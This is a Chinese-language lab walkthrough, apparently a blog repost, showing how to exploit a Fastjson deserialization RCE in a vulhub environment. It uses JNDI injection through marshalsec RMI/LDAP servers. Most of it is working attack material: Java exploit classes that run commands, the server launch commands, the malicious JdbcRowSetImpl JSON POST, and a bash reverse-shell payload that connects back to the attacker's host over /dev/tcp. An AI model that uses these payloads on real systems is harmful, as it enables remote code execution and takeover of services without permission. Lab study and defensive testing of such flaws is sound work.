Java语言类型的反序列化的利用,多数可以使用rmi和ldap来进一步利用。rmi和ldap都是属于远程利用的方式相关原理在这里不再进行介绍,直接开始搭建环境。
环境准备:
ubuntu(192.168.1.11)
kali(192.168.1.7)
windows10(192.168.1.8)
搭建过程:
其中Ubuntu搭建了docker,使用vulhub模拟出来fastjson-rce的环境:
到vulhub指定漏洞环境运行
sudo docker-compose up -d
接下来使用win10正常访问一下ubuntu的8090端口,如下图所示就搭建完成了fastjson环境:
win10抓包尝试post一些json数据,发现服务器可以接收到json数据信息:
利用kali作为公网服务器,首先使用javac命令把下面的文件生成一个class文件(javac Exploit.java执行完后直接会生成个Exploit.class文件):
javac Exploit.java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译完成后直接丢在服务器上(这里用的kali),然后使用python在kali上起一个http服务,这样就把我桌面上的东西当作根目录,所以要把生成的Exploit.class拖到根目录桌面上:
python -m SimpleHTTPServer 8888
访问启用的http服务,存在列目录即成功
然后再利用marshalsec-0.0.3-SNAPSHOT-all.jar启动一个rmi服务即可,并制定加载远程类Exploit.class。
开启rmi命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.7/#Exploit" 9999
开启ldap命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 138
当然也可以使用ldap来启动一个ldap服务,这里采用了rmi演示,启动完成后,使用win10,post如下数据包:(需要注意端口以及最后的Exploit不加后缀)
POST / HTTP/1.1
Host: 192.168.1.11:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: JSESSIONID=21850261699CEB46925619B40CC02D49
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 161
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.7:9999/Exploit",
"autoCommit":true
}
}
post完成后我们即可在rmi服务器上查看到连接情况
可能是由于jdk版本太高的问题,所以这里并没有成功,建议使用jdk1.8以下的版本进行。
使用此方法,也可以反弹shell到公网服务器,java代码如下,同样需要使用javac编译成class文件
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.7/6666 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
遇见的坑:
我的java目录下没有javac.exe,百度了很多,才发现是在jdk安装的时候,需要输入两次路径信息,一个是jdk,一个是jre,这两个不能在同一个目录下。同一个目录下javac会被替换掉。
本文始发于微信公众号(Fight Tigers Team):记录一次rmi和ldap的搭建利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论